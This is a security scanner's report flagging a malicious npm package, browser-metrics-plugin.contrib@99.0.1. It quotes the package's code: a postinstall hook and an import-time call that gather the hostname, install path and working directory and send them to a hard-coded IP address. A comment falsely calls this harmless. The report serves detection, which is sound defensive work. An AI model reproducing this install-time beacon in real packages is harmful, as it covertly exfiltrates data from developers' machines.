browser-metrics-plugin.contrib@99.0.1: Malicious npm security

Loading npm security reports…

browser-metrics-plugin.contrib@99.0.1: Malicious npm security | LPM Firewall

Source & flagged code

6 flagged

package.jsonView file

Lines 1-16json

2 "name": "browser-metrics-plugin.contrib",

3 "version": "99.0.1",

4 "description": "Compatibility shim.",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "node beacon.cjs"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

9 "files": [

10 "index.js",

High

Suspicious Lifecycle Evidence

The package runs beacon.cjs automatically during installation through a postinstall hook.

package.jsonView on unpkg · L7

11 "beacon.cjs",

12 "README.md"

13 ],

14 "license": "MIT"

15}

beacon.cjsView file

Lines 1-38javascript

1'use strict';

2// Build-provenance beacon. Reports only machine/package metadata so the

3// recipient can correlate an install. No data beyond that is collected or sent.

4var BEACON = "http://185.158.107.175:8787/_ah/dc";

5var PKG = "browser-metrics-plugin.contrib";

index.jsView file

Lines 1-14javascript

1'use strict';

2// Loading the shim (e.g. because the app imports this name) also records the

3// install. Kept side-effect-free if the callback cannot be reached.

4try { require('./beacon.cjs').fire(); } catch (e) {}

5// Export a defensive Proxy: any property access returns a no-op function, so a

6// bundler that imports named/default members of the real package does not crash

High

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node beacon.cjs" }, "files": [ "inde

High

Suspicious Lifecycle Evidence

The package runs beacon.cjs automatically during installation through a postinstall hook.

package.jsonView on unpkg · L7

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "browser-metrics-plugin.contrib"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

•matchType = malicious_source_fingerprint_signature signature = a5258e167635ba3a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = troubleshooting@99.0.1 matchedPath = beacon.cjs matchedIdentity = npm:dHJvdWJsZXNob290aW5n:99.0.1 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.cjsView on unpkg

26var payload = { package: PKG, hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), installPath: __dirname, cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(), userAgent: 'npm/' + (process.version || ''), protocol: (BEACON.indexOf('https:') === 0) ? 'https' : 'http' }; return _post(payload); } if (require.main === modu

High

Ai Review Evidence

The transmitted payload includes the machine hostname, install path, working directory, and npm runtime version.

beacon.cjsView on unpkg · L26

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e) {} // Export a defensive Proxy: any property access returns a no-op function, so a // bundler that imports named/default members o

High

Ai Review Evidence

Importing the package entrypoint calls `fire()` from `beacon.cjs`.

index.jsView on unpkg · L4

browser-metrics-plugin.contrib@99.0.1

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code